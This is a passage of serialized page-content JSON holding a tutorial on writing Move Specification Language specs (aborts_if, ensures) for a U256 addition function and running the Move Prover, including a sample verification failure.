copy",{"type":22,"tag":118,"props":11415,"children":11416},{"style":125},[11417],{"type":28,"value":231},{"type":22,"tag":118,"props":11419,"children":11420},{"style":204},[11421],{"type":28,"value":11422},"drop",{"type":22,"tag":118,"props":11424,"children":11425},{"style":125},[11426],{"type":28,"value":231},{"type":22,"tag":118,"props":11428,"children":11429},{"style":204},[11430],{"type":28,"value":7950},{"type":22,"tag":118,"props":11432,"children":11433},{"style":125},[11434],{"type":28,"value":1474},{"type":22,"tag":118,"props":11436,"children":11437},{"class":120,"line":142},[11438,11443,11447,11451],{"type":22,"tag":118,"props":11439,"children":11440},{"style":204},[11441],{"type":28,"value":11442},"    v0",{"type":22,"tag":118,"props":11444,"children":11445},{"style":210},[11446],{"type":28,"value":213},{"type":22,"tag":118,"props":11448,"children":11449},{"style":131},[11450],{"type":28,"value":583},{"type":22,"tag":118,"props":11452,"children":11453},{"style":125},[11454],{"type":28,"value":782},{"type":22,"tag":118,"props":11456,"children":11457},{"class":120,"line":177},[11458,11463,11467,11471],{"type":22,"tag":118,"props":11459,"children":11460},{"style":204},[11461],{"type":28,"value":11462},"    v1",{"type":22,"tag":118,"props":11464,"children":11465},{"style":210},[11466],{"type":28,"value":213},{"type":22,"tag":118,"props":11468,"children":11469},{"style":131},[11470],{"type":28,"value":583},{"type":22,"tag":118,"props":11472,"children":11473},{"style":125},[11474],{"type":28,"value":782},{"type":22,"tag":118,"props":11476,"children":11477},{"class":120,"line":195},[11478,11483,11487,11491],{"type":22,"tag":118,"props":11479,"children":11480},{"style":204},[11481],{"type":28,"value":11482},"    v2",{"type":22,"tag":118,"props":11484,"children":11485},{"style":210},[11486],{"type":28,"value":213},{"type":22,"tag":118,"props":11488,"children":11489},{"style":131},[11490],{"type":28,"value":583},{"type":22,"tag":118,"props":11492,"children":11493},{"style":125},[11494],{"type":28,"value":782},{"type":22,"tag":118,"props":11496,"children":11497},{"class":120,"line":244},[11498,11503,11507,11511],{"type":22,"tag":118,"props":11499,"children":11500},{"style":204},[11501],{"type":28,"value":11502},"    v3",{"type":22,"tag":118,"props":11504,"children":11505},{"style":210},[11506],{"type":28,"value":213},{"type":22,"tag":118,"props":11508,"children":11509},{"style":131},[11510],{"type":28,"value":583},{"type":22,"tag":118,"props":11512,"children":11513},{"style":125},[11514],{"type":28,"value":782},{"type":22,"tag":118,"props":11516,"children":11517},{"class":120,"line":253},[11518],{"type":22,"tag":118,"props":11519,"children":11520},{"style":125},[11521],{"type":28,"value":481},{"type":22,"tag":31,"props":11523,"children":11524},{},[11525,11527,11533],{"type":28,"value":11526},"Now, let's consider the ",{"type":22,"tag":114,"props":11528,"children":11530},{"className":11529},[],[11531],{"type":28,"value":11532},"add(a: U256, b: U256): U256",{"type":28,"value":11534}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":22,"tag":31,"props":11536,"children":11537},{},[11538],{"type":28,"value":11539},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":22,"tag":31,"props":11541,"children":11542},{},[11543,11545,11551,11553,11560],{"type":28,"value":11544},"For example, if your file is ",{"type":22,"tag":114,"props":11546,"children":11548},{"className":11547},[],[11549],{"type":28,"value":11550},"sources/u256.move",{"type":28,"value":11552},", you can put specifications in ",{"type":22,"tag":42,"props":11554,"children":11557},{"href":11555,"rel":11556},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[46],[11558],{"type":28,"value":11559},"sources/u256.spec.move",{"type":28,"value":292},{"type":22,"tag":107,"props":11562,"children":11564},{"code":11563,"language":111,"meta":7,"className":109,"style":7},"spec add { ... }\n",[11565],{"type":22,"tag":114,"props":11566,"children":11567},{"__ignoreMap":7},[11568],{"type":22,"tag":118,"props":11569,"children":11570},{"class":120,"line":121},[11571,11575,11580,11585,11590],{"type":22,"tag":118,"props":11572,"children":11573},{"style":204},[11574],{"type":28,"value":10278},{"type":22,"tag":118,"props":11576,"children":11577},{"style":204},[11578],{"type":28,"value":11579}," add",{"type":22,"tag":118,"props":11581,"children":11582},{"style":125},[11583],{"type":28,"value":11584}," { ",{"type":22,"tag":118,"props":11586,"children":11587},{"style":210},[11588],{"type":28,"value":11589},"...",{"type":22,"tag":118,"props":11591,"children":11592},{"style":125},[11593],{"type":28,"value":11594}," }\n",{"type":22,"tag":31,"props":11596,"children":11597},{},[11598,11600,11605],{"type":28,"value":11599},"The specifications placed inside the specification blocks are considered ",{"type":22,"tag":4764,"props":11601,"children":11602},{},[11603],{"type":28,"value":11604},"Expressions",{"type":28,"value":292},{"type":22,"tag":1289,"props":11607,"children":11609},{"id":11608},"expressions",[11610],{"type":28,"value":11604},{"type":22,"tag":31,"props":11612,"children":11613},{},[11614],{"type":28,"value":11615},"Let's go over some common expressions.",{"type":22,"tag":31,"props":11617,"children":11618},{},[11619,11624],{"type":22,"tag":114,"props":11620,"children":11622},{"className":11621},[],[11623],{"type":28,"value":10327},{"type":28,"value":11625}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":22,"tag":31,"props":11627,"children":11628},{},[11629,11631,11637],{"type":28,"value":11630},"For example, the ",{"type":22,"tag":114,"props":11632,"children":11634},{"className":11633},[],[11635],{"type":28,"value":11636},"add",{"type":28,"value":11638}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":22,"tag":107,"props":11640,"children":11642},{"code":11641,"language":111,"meta":7,"className":109,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[11643],{"type":22,"tag":114,"props":11644,"children":11645},{"__ignoreMap":7},[11646,11680,11687,11736,11758,11787,11824,11865,11872,11879,11894,11975],{"type":22,"tag":118,"props":11647,"children":11648},{"class":120,"line":121},[11649,11654,11659,11663,11667,11671,11676],{"type":22,"tag":118,"props":11650,"children":11651},{"style":146},[11652],{"type":28,"value":11653},"const",{"type":22,"tag":118,"props":11655,"children":11656},{"style":125},[11657],{"type":28,"value":11658}," P64",{"type":22,"tag":118,"props":11660,"children":11661},{"style":210},[11662],{"type":28,"value":213},{"type":22,"tag":118,"props":11664,"children":11665},{"style":131},[11666],{"type":28,"value":10847},{"type":22,"tag":118,"props":11668,"children":11669},{"style":210},[11670],{"type":28,"value":837},{"type":22,"tag":118,"props":11672,"children":11673},{"style":674},[11674],{"type":28,"value":11675}," 0x10000000000000000",{"type":22,"tag":118,"props":11677,"children":11678},{"style":125},[11679],{"type":28,"value":801},{"type":22,"tag":118,"props":11681,"children":11682},{"class":120,"line":142},[11683],{"type":22,"tag":118,"props":11684,"children":11685},{"emptyLinePlaceholder":15},[11686],{"type":28,"value":250},{"type":22,"tag":118,"props":11688,"children":11689},{"class":120,"line":177},[11690,11694,11698,11703,11707,11711,11715,11719,11723,11727,11732],{"type":22,"tag":118,"props":11691,"children":11692},{"style":204},[11693],{"type":28,"value":10278},{"type":22,"tag":118,"props":11695,"children":11696},{"style":204},[11697],{"type":28,"value":8216},{"type":22,"tag":118,"props":11699,"children":11700},{"style":532},[11701],{"type":28,"value":11702}," value_of_U256",{"type":22,"tag":118,"props":11704,"children":11705},{"style":125},[11706],{"type":28,"value":540},{"type":22,"tag":118,"props":11708,"children":11709},{"style":204},[11710],{"type":28,"value":42},{"type":22,"tag":118,"props":11712,"children":11713},{"style":210},[11714],{"type":28,"value":213},{"type":22,"tag":118,"props":11716,"children":11717},{"style":131},[11718],{"type":28,"value":6741},{"type":22,"tag":118,"props":11720,"children":11721},{"style":125},[11722],{"type":28,"value":3627},{"type":22,"tag":118,"props":11724,"children":11725},{"style":210},[11726],{"type":28,"value":213},{"type":22,"tag":118,"props":11728,"children":11729},{"style":204},[11730],{"type":28,"value":11731}," num",{"type":22,"tag":118,"props":11733,"children":11734},{"style":125},[11735],{"type":28,"value":1474},{"type":22,"tag":118,"props":11737,"children":11738},{"class":120,"line":195},[11739,11744,11748,11753],{"type":22,"tag":118,"props":11740,"children":11741},{"style":204},[11742],{"type":28,"value":11743},"    a",{"type":22,"tag":118,"props":11745,"children":11746},{"style":210},[11747],{"type":28,"value":292},{"type":22,"tag":118,"props":11749,"children":11750},{"style":125},[11751],{"type":28,"value":11752},"v0 ",{"type":22,"tag":118,"props":11754,"children":11755},{"style":210},[11756],{"type":28,"value":11757},"+\n",{"type":22,"tag":118,"props":11759,"children":11760},{"class":120,"line":244},[11761,11765,11769,11774,11778,11782],{"type":22,"tag":118,"props":11762,"children":11763},{"style":204},[11764],{"type":28,"value":11743},{"type":22,"tag":118,"props":11766,"children":11767},{"style":210},[11768],{"type":28,"value":292},{"type":22,"tag":118,"props":11770,"children":11771},{"style":125},[11772],{"type":28,"value":11773},"v1 ",{"type":22,"tag":118,"props":11775,"children":11776},{"style":210},[11777],{"type":28,"value":671},{"type":22,"tag":118,"props":11779,"children":11780},{"style":131},[11781],{"type":28,"value":11658},{"type":22,"tag":118,"props":11783,"children":11784},{"style":210},[11785],{"type":28,"value":11786}," +\n",{"type":22,"tag":118,"props":11788,"children":11789},{"class":120,"line":253},[11790,11794,11798,11803,11807,11811,11816,11820],{"type":22,"tag":118,"props":11791,"children":11792},{"style":204},[11793],{"type":28,"value":11743},{"type":22,"tag":118,"props":11795,"children":11796},{"style":210},[11797],{"type":28,"value":292},{"type":22,"tag":118,"props":11799,"children":11800},{"style":125},[11801],{"type":28,"value":11802},"v2 ",{"type":22,"tag":118,"props":11804,"children":11805},{"style":210},[11806],{"type":28,"value":671},{"type":22,"tag":118,"props":11808,"children":11809},{"style":131},[11810],{"type":28,"value":11658},{"type":22,"tag":118,"props":11812,"children":11813},{"style":210},[11814],{"type":28,"value":11815}," *",{"type":22,"tag":118,"props":11817,"children":11818},{"style":131},[11819],{"type":28,"value":11658},{"type":22,"tag":118,"props":11821,"children":11822},{"style":210},[11823],{"type":28,"value":11786},{"type":22,"tag":118,"props":11825,"children":11826},{"class":120,"line":263},[11827,11831,11835,11840,11844,11848,11852,11856,11860],{"type":22,"tag":118,"props":11828,"children":11829},{"style":204},[11830],{"type":28,"value":11743},{"type":22,"tag":118,"props":11832,"children":11833},{"style":210},[11834],{"type":28,"value":292},{"type":22,"tag":118,"props":11836,"children":11837},{"style":125},[11838],{"type":28,"value":11839},"v3 ",{"type":22,"tag":118,"props":11841,"children":11842},{"style":210},[11843],{"type":28,"value":671},{"type":22,"tag":118,"props":11845,"children":11846},{"style":131},[11847],{"type":28,"value":11658},{"type":22,"tag":118,"props":11849,"children":11850},{"style":210},[11851],{"type":28,"value":11815},{"type":22,"tag":118,"props":11853,"children":11854},{"style":131},[11855],{"type":28,"value":11658},{"type":22,"tag":118,"props":11857,"children":11858},{"style":210},[11859],{"type":28,"value":11815},{"type":22,"tag":118,"props":11861,"children":11862},{"style":131},[11863],{"type":28,"value":11864}," P64\n",{"type":22,"tag":118,"props":11866,"children":11867},{"class":120,"line":318},[11868],{"type":22,"tag":118,"props":11869,"children":11870},{"style":125},[11871],{"type":28,"value":481},{"type":22,"tag":118,"props":11873,"children":11874},{"class":120,"line":351},[11875],{"type":22,"tag":118,"props":11876,"children":11877},{"emptyLinePlaceholder":15},[11878],{"type":28,"value":250},{"type":22,"tag":118,"props":11880,"children":11881},{"class":120,"line":359},[11882,11886,11890],{"type":22,"tag":118,"props":11883,"children":11884},{"style":204},[11885],{"type":28,"value":10278},{"type":22,"tag":118,"props":11887,"children":11888},{"style":204},[11889],{"type":28,"value":11579},{"type":22,"tag":118,"props":11891,"children":11892},{"style":125},[11893],{"type":28,"value":1474},{"type":22,"tag":118,"props":11895,"children":11896},{"class":120,"line":368},[11897,11902,11906,11910,11914,11918,11922,11926,11930,11934,11938,11943,11947,11951,11955,11959,11963,11967,11971],{"type":22,"tag":118,"props":11898,"children":11899},{"style":204},[11900],{"type":28,"value":11901},"    aborts_if",{"type":22,"tag":118,"props":11903,"children":11904},{"style":532},[11905],{"type":28,"value":11702},{"type":22,"tag":118,"props":11907,"children":11908},{"style":125},[11909],{"type":28,"value":540},{"type":22,"tag":118,"props":11911,"children":11912},{"style":204},[11913],{"type":28,"value":42},{"type":22,"tag":118,"props":11915,"children":11916},{"style":125},[11917],{"type":28,"value":588},{"type":22,"tag":118,"props":11919,"children":11920},{"style":210},[11921],{"type":28,"value":3220},{"type":22,"tag":118,"props":11923,"children":11924},{"style":532},[11925],{"type":28,"value":11702},{"type":22,"tag":118,"props":11927,"children":11928},{"style":125},[11929],{"type":28,"value":540},{"type":22,"tag":118,"props":11931,"children":11932},{"style":204},[11933],{"type":28,"value":5243},{"type":22,"tag":118,"props":11935,"children":11936},{"style":125},[11937],{"type":28,"value":588},{"type":22,"tag":118,"props":11939,"children":11940},{"style":210},[11941],{"type":28,"value":11942},">=",{"type":22,"tag":118,"props":11944,"children":11945},{"style":131},[11946],{"type":28,"value":11658},{"type":22,"tag":118,"props":11948,"children":11949},{"style":210},[11950],{"type":28,"value":11815},{"type":22,"tag":118,"props":11952,"children":11953},{"style":131},[11954],{"type":28,"value":11658},{"type":22,"tag":118,"props":11956,"children":11957},{"style":210},[11958],{"type":28,"value":11815},{"type":22,"tag":118,"props":11960,"children":11961},{"style":131},[11962],{"type":28,"value":11658},{"type":22,"tag":118,"props":11964,"children":11965},{"style":210},[11966],{"type":28,"value":11815},{"type":22,"tag":118,"props":11968,"children":11969},{"style":131},[11970],{"type":28,"value":11658},{"type":22,"tag":118,"props":11972,"children":11973},{"style":125},[11974],{"type":28,"value":801},{"type":22,"tag":118,"props":11976,"children":11977},{"class":120,"line":384},[11978],{"type":22,"tag":118,"props":11979,"children":11980},{"style":125},[11981],{"type":28,"value":481},{"type":22,"tag":31,"props":11983,"children":11984},{},[11985,11987,11994],{"type":28,"value":11986},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":22,"tag":42,"props":11988,"children":11991},{"href":11989,"rel":11990},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[46],[11992],{"type":28,"value":11993},"MSL function",{"type":28,"value":11995},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":22,"tag":31,"props":11997,"children":11998},{},[11999,12001,12006,12007,12012],{"type":28,"value":12000},"A common pattern for ",{"type":22,"tag":114,"props":12002,"children":12004},{"className":12003},[],[12005],{"type":28,"value":10327},{"type":28,"value":7511},{"type":22,"tag":114,"props":12008,"children":12010},{"className":12009},[],[12011],{"type":28,"value":10335},{"type":28,"value":12013},", which lets you prove that a function will never abort.",{"type":22,"tag":107,"props":12015,"children":12017},{"code":12016,"language":111,"meta":7,"className":109,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[12018],{"type":22,"tag":114,"props":12019,"children":12020},{"__ignoreMap":7},[12021,12037,12052],{"type":22,"tag":118,"props":12022,"children":12023},{"class":120,"line":121},[12024,12028,12033],{"type":22,"tag":118,"props":12025,"children":12026},{"style":204},[12027],{"type":28,"value":10278},{"type":22,"tag":118,"props":12029,"children":12030},{"style":204},[12031],{"type":28,"value":12032}," critical_function",{"type":22,"tag":118,"props":12034,"children":12035},{"style":125},[12036],{"type":28,"value":1474},{"type":22,"tag":118,"props":12038,"children":12039},{"class":120,"line":142},[12040,12044,12048],{"type":22,"tag":118,"props":12041,"children":12042},{"style":204},[12043],{"type":28,"value":11901},{"type":22,"tag":118,"props":12045,"children":12046},{"style":146},[12047],{"type":28,"value":1678},{"type":22,"tag":118,"props":12049,"children":12050},{"style":125},[12051],{"type":28,"value":801},{"type":22,"tag":118,"props":12053,"children":12054},{"class":120,"line":177},[12055],{"type":22,"tag":118,"props":12056,"children":12057},{"style":125},[12058],{"type":28,"value":481},{"type":22,"tag":31,"props":12060,"children":12061},{},[12062,12064,12070],{"type":28,"value":12063},"Another type of expression that we can use is ",{"type":22,"tag":114,"props":12065,"children":12067},{"className":12066},[],[12068],{"type":28,"value":12069},"ensures",{"type":28,"value":12071},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":22,"tag":31,"props":12073,"children":12074},{},[12075,12077,12082,12084,12089],{"type":28,"value":12076},"In the case of the ",{"type":22,"tag":114,"props":12078,"children":12080},{"className":12079},[],[12081],{"type":28,"value":11636},{"type":28,"value":12083}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":22,"tag":74,"props":12085,"children":12086},{},[12087],{"type":28,"value":12088},"MSL uses unbounded numbers",{"type":28,"value":12090},", we're able to very cleanly express this property without worrying about overflows.",{"type":22,"tag":107,"props":12092,"children":12094},{"code":12093,"language":111,"meta":7,"className":109,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[12095],{"type":22,"tag":114,"props":12096,"children":12097},{"__ignoreMap":7},[12098,12113,12192,12256],{"type":22,"tag":118,"props":12099,"children":12100},{"class":120,"line":121},[12101,12105,12109],{"type":22,"tag":118,"props":12102,"children":12103},{"style":204},[12104],{"type":28,"value":10278},{"type":22,"tag":118,"props":12106,"children":12107},{"style":204},[12108],{"type":28,"value":11579},{"type":22,"tag":118,"props":12110,"children":12111},{"style":125},[12112],{"type":28,"value":1474},{"type":22,"tag":118,"props":12114,"children":12115},{"class":120,"line":142},[12116,12120,12124,12128,12132,12136,12140,12144,12148,12152,12156,12160,12164,12168,12172,12176,12180,12184,12188],{"type":22,"tag":118,"props":12117,"children":12118},{"style":204},[12119],{"type":28,"value":11901},{"type":22,"tag":118,"props":12121,"children":12122},{"style":532},[12123],{"type":28,"value":11702},{"type":22,"tag":118,"props":12125,"children":12126},{"style":125},[12127],{"type":28,"value":540},{"type":22,"tag":118,"props":12129,"children":12130},{"style":204},[12131],{"type":28,"value":42},{"type":22,"tag":118,"props":12133,"children":12134},{"style":125},[12135],{"type":28,"value":588},{"type":22,"tag":118,"props":12137,"children":12138},{"style":210},[12139],{"type":28,"value":3220},{"type":22,"tag":118,"props":12141,"children":12142},{"style":532},[12143],{"type":28,"value":11702},{"type":22,"tag":118,"props":12145,"children":12146},{"style":125},[12147],{"type":28,"value":540},{"type":22,"tag":118,"props":12149,"children":12150},{"style":204},[12151],{"type":28,"value":5243},{"type":22,"tag":118,"props":12153,"children":12154},{"style":125},[12155],{"type":28,"value":588},{"type":22,"tag":118,"props":12157,"children":12158},{"style":210},[12159],{"type":28,"value":11942},{"type":22,"tag":118,"props":12161,"children":12162},{"style":131},[12163],{"type":28,"value":11658},{"type":22,"tag":118,"props":12165,"children":12166},{"style":210},[12167],{"type":28,"value":11815},{"type":22,"tag":118,"props":12169,"children":12170},{"style":131},[12171],{"type":28,"value":11658},{"type":22,"tag":118,"props":12173,"children":12174},{"style":210},[12175],{"type":28,"value":11815},{"type":22,"tag":118,"props":12177,"children":12178},{"style":131},[12179],{"type":28,"value":11658},{"type":22,"tag":118,"props":12181,"children":12182},{"style":210},[12183],{"type":28,"value":11815},{"type":22,"tag":118,"props":12185,"children":12186},{"style":131},[12187],{"type":28,"value":11658},{"type":22,"tag":118,"props":12189,"children":12190},{"style":125},[12191],{"type":28,"value":801},{"type":22,"tag":118,"props":12193,"children":12194},{"class":120,"line":177},[12195,12200,12204,12208,12212,12216,12220,12224,12228,12232,12236,12240,12244,12248,12252],{"type":22,"tag":118,"props":12196,"children":12197},{"style":204},[12198],{"type":28,"value":12199},"    ensures",{"type":22,"tag":118,"props":12201,"children":12202},{"style":532},[12203],{"type":28,"value":11702},{"type":22,"tag":118,"props":12205,"children":12206},{"style":125},[12207],{"type":28,"value":540},{"type":22,"tag":118,"props":12209,"children":12210},{"style":204},[12211],{"type":28,"value":11081},{"type":22,"tag":118,"props":12213,"children":12214},{"style":125},[12215],{"type":28,"value":588},{"type":22,"tag":118,"props":12217,"children":12218},{"style":210},[12219],{"type":28,"value":302},{"type":22,"tag":118,"props":12221,"children":12222},{"style":532},[12223],{"type":28,"value":11702},{"type":22,"tag":118,"props":12225,"children":12226},{"style":125},[12227],{"type":28,"value":540},{"type":22,"tag":118,"props":12229,"children":12230},{"style":204},[12231],{"type":28,"value":42},{"type":22,"tag":118,"props":12233,"children":12234},{"style":125},[12235],{"type":28,"value":588},{"type":22,"tag":118,"props":12237,"children":12238},{"style":210},[12239],{"type":28,"value":3220},{"type":22,"tag":118,"props":12241,"children":12242},{"style":532},[12243],{"type":28,"value":11702},{"type":22,"tag":118,"props":12245,"children":12246},{"style":125},[12247],{"type":28,"value":540},{"type":22,"tag":118,"props":12249,"children":12250},{"style":204},[12251],{"type":28,"value":5243},{"type":22,"tag":118,"props":12253,"children":12254},{"style":125},[12255],{"type":28,"value":682},{"type":22,"tag":118,"props":12257,"children":12258},{"class":120,"line":195},[12259],{"type":22,"tag":118,"props":12260,"children":12261},{"style":125},[12262],{"type":28,"value":481},{"type":22,"tag":31,"props":12264,"children":12265},{},[12266],{"type":28,"value":12267},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":22,"tag":31,"props":12269,"children":12270},{},[12271],{"type":28,"value":12272},"Let's try to prove the library with the specifications from above:",{"type":22,"tag":107,"props":12274,"children":12276},{"code":12275,"language":1852,"meta":7,"className":1850,"style":7},"$ move prove\n",[12277],{"type":22,"tag":114,"props":12278,"children":12279},{"__ignoreMap":7},[12280],{"type":22,"tag":118,"props":12281,"children":12282},{"class":120,"line":121},[12283,12288,12293],{"type":22,"tag":118,"props":12284,"children":12285},{"style":532},[12286],{"type":28,"value":12287},"$",{"type":22,"tag":118,"props":12289,"children":12290},{"style":1866},[12291],{"type":28,"value":12292}," move",{"type":22,"tag":118,"props":12294,"children":12295},{"style":1866},[12296],{"type":28,"value":12297}," prove\n",{"type":22,"tag":31,"props":12299,"children":12300},{},[12301],{"type":28,"value":12302},"It outputs the following error information:",{"type":22,"tag":107,"props":12304,"children":12306},{"code":12305,"language":1852,"meta":7,"className":1850,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[12307],{"type":22,"tag":114,"props":12308,"children":12309},{"__ignoreMap":7},[12310,12318,12325,12387,12408,12497,12565,12577,12585,12592,12599,12606,12624,12685,12702,12719,12791,12807,12815,12822,12872,12880,12897],{"type":22,"tag":118,"props":12311,"children":12312},{"class":120,"line":121},[12313],{"type":22,"tag":118,"props":12314,"children":12315},{"style":125},[12316],{"type":28,"value":12317},"[...]\n",{"type":22,"tag":118,"props":12319,"children":12320},{"class":120,"line":142},[12321],{"type":22,"tag":118,"props":12322,"children":12323},{"emptyLinePlaceholder":15},[12324],{"type":28,"value":250},{"type":22,"tag":118,"props":12326,"children":12327},{"class":120,"line":177},[12328,12333,12338,12343,12348,12353,12358,12363,12368,12373,12377,12382],{"type":22,"tag":118,"props":12329,"children":12330},{"style":532},[12331],{"type":28,"value":12332},"error:",{"type":22,"tag":118,"props":12334,"children":12335},{"style":1866},[12336],{"type":28,"value":12337}," abort",{"type":22,"tag":118,"props":12339,"children":12340},{"style":1866},[12341],{"type":28,"value":12342}," not",{"type":22,"tag":118,"props":12344,"children":12345},{"style":1866},[12346],{"type":28,"value":12347}," covered",{"type":22,"tag":118,"props":12349,"children":12350},{"style":1866},[12351],{"type":28,"value":12352}," by",{"type":22,"tag":118,"props":12354,"children":12355},{"style":1866},[12356],{"type":28,"value":12357}," any",{"type":22,"tag":118,"props":12359,"children":12360},{"style":1866},[12361],{"type":28,"value":12362}," of",{"type":22,"tag":118,"props":12364,"children":12365},{"style":1866},[12366],{"type":28,"value":12367}," the",{"type":22,"tag":118,"props":12369,"children":12370},{"style":1866},[12371],{"type":28,"value":12372}," `",{"type":22,"tag":118,"props":12374,"children":12375},{"style":532},[12376],{"type":28,"value":10327},{"type":22,"tag":118,"props":12378,"children":12379},{"style":1866},[12380],{"type":28,"value":12381},"`",{"type":22,"tag":118,"props":12383,"children":12384},{"style":532},[12385],{"type":28,"value":12386}," clauses\n",{"type":22,"tag":118,"props":12388,"children":12389},{"class":120,"line":195},[12390,12395,12400,12404],{"type":22,"tag":118,"props":12391,"children":12392},{"style":532},[12393],{"type":28,"value":12394},"╭",{"type":22,"tag":118,"props":12396,"children":12397},{"style":1866},[12398],{"type":28,"value":12399},"     spec",{"type":22,"tag":118,"props":12401,"children":12402},{"style":1866},[12403],{"type":28,"value":11579},{"type":22,"tag":118,"props":12405,"children":12406},{"style":1866},[12407],{"type":28,"value":1474},{"type":22,"tag":118,"props":12409,"children":12410},{"class":120,"line":244},[12411,12415,12420,12424,12428,12432,12436,12440,12444,12448,12452,12456,12461,12465,12469,12473,12477,12481,12485,12489,12493],{"type":22,"tag":118,"props":12412,"children":12413},{"style":210},[12414],{"type":28,"value":3604},{"type":22,"tag":118,"props":12416,"children":12417},{"style":532},[12418],{"type":28,"value":12419},"         aborts_if",{"type":22,"tag":118,"props":12421,"children":12422},{"style":1866},[12423],{"type":28,"value":11702},{"type":22,"tag":118,"props":12425,"children":12426},{"style":125},[12427],{"type":28,"value":540},{"type":22,"tag":118,"props":12429,"children":12430},{"style":532},[12431],{"type":28,"value":42},{"type":22,"tag":118,"props":12433,"children":12434},{"style":125},[12435],{"type":28,"value":588},{"type":22,"tag":118,"props":12437,"children":12438},{"style":1866},[12439],{"type":28,"value":3220},{"type":22,"tag":118,"props":12441,"children":12442},{"style":1866},[12443],{"type":28,"value":11702},{"type":22,"tag":118,"props":12445,"children":12446},{"style":125},[12447],{"type":28,"value":540},{"type":22,"tag":118,"props":12449,"children":12450},{"style":532},[12451],{"type":28,"value":5243},{"type":22,"tag":118,"props":12453,"children":12454},{"style":125},[12455],{"type":28,"value":588},{"type":22,"tag":118,"props":12457,"children":12458},{"style":210},[12459],{"type":28,"value":12460},">",{"type":22,"tag":118,"props":12462,"children":12463},{"style":1866},[12464],{"type":28,"value":282},{"type":22,"tag":118,"props":12466,"children":12467},{"style":1866},[12468],{"type":28,"value":11658},{"type":22,"tag":118,"props":12470,"children":12471},{"style":146},[12472],{"type":28,"value":11815},{"type":22,"tag":118,"props":12474,"children":12475},{"style":1866},[12476],{"type":28,"value":11658},{"type":22,"tag":118,"props":12478,"children":12479},{"style":146},[12480],{"type":28,"value":11815},{"type":22,"tag":118,"props":12482,"children":12483},{"style":1866},[12484],{"type":28,"value":11658},{"type":22,"tag":118,"props":12486,"children":12487},{"style":146},[12488],{"type":28,"value":11815},{"type":22,"tag":118,"props":12490,"children":12491},{"style":1866},[12492],{"type":28,"value":11658},{"type":22,"tag":118,"props":12494,"children":12495},{"style":125},[12496],{"type":28,"value":801},{"type":22,"tag":118,"props":12498,"children":12499},{"class":120,"line":253},[12500,12504,12509,12513,12517,12521,12525,12529,12533,12537,12541,12545,12549,12553,12557,12561],{"type":22,"tag":118,"props":12501,"children":12502},{"style":210},[12503],{"type":28,"value":3604},{"type":22,"tag":118,"props":12505,"children":12506},{"style":532},[12507],{"type":28,"value":12508},"         ensures",{"type":22,"tag":118,"props":12510,"children":12511},{"style":1866},[12512],{"type":28,"value":11702},{"type":22,"tag":118,"props":12514,"children":12515},{"style":125},[12516],{"type":28,"value":540},{"type":22,"tag":118,"props":12518,"children":12519},{"style":532},[12520],{"type":28,"value":11081},{"type":22,"tag":118,"props":12522,"children":12523},{"style":125},[12524],{"type":28,"value":588},{"type":22,"tag":118,"props":12526,"children":12527},{"style":1866},[12528],{"type":28,"value":302},{"type":22,"tag":118,"props":12530,"children":12531},{"style":1866},[12532],{"type":28,"value":11702},{"type":22,"tag":118,"props":12534,"children":12535},{"style":125},[12536],{"type":28,"value":540},{"type":22,"tag":118,"props":12538,"children":12539},{"style":532},[12540],{"type":28,"value":42},{"type":22,"tag":118,"props":12542,"children":12543},{"style":125},[12544],{"type":28,"value":588},{"type":22,"tag":118,"props":12546,"children":12547},{"style":1866},[12548],{"type":28,"value":3220},{"type":22,"tag":118,"props":12550,"children":12551},{"style":1866},[12552],{"type":28,"value":11702},{"type":22,"tag":118,"props":12554,"children":12555},{"style":125},[12556],{"type":28,"value":540},{"type":22,"tag":118,"props":12558,"children":12559},{"style":532},[12560],{"type":28,"value":5243},{"type":22,"tag":118,"props":12562,"children":12563},{"style":125},[12564],{"type":28,"value":682},{"type":22,"tag":118,"props":12566,"children":12567},{"class":120,"line":263},[12568,12572],{"type":22,"tag":118,"props":12569,"children":12570},{"style":210},[12571],{"type":28,"value":3604},{"type":22,"tag":118,"props":12573,"children":12574},{"style":125},[12575],{"type":28,"value":12576},"     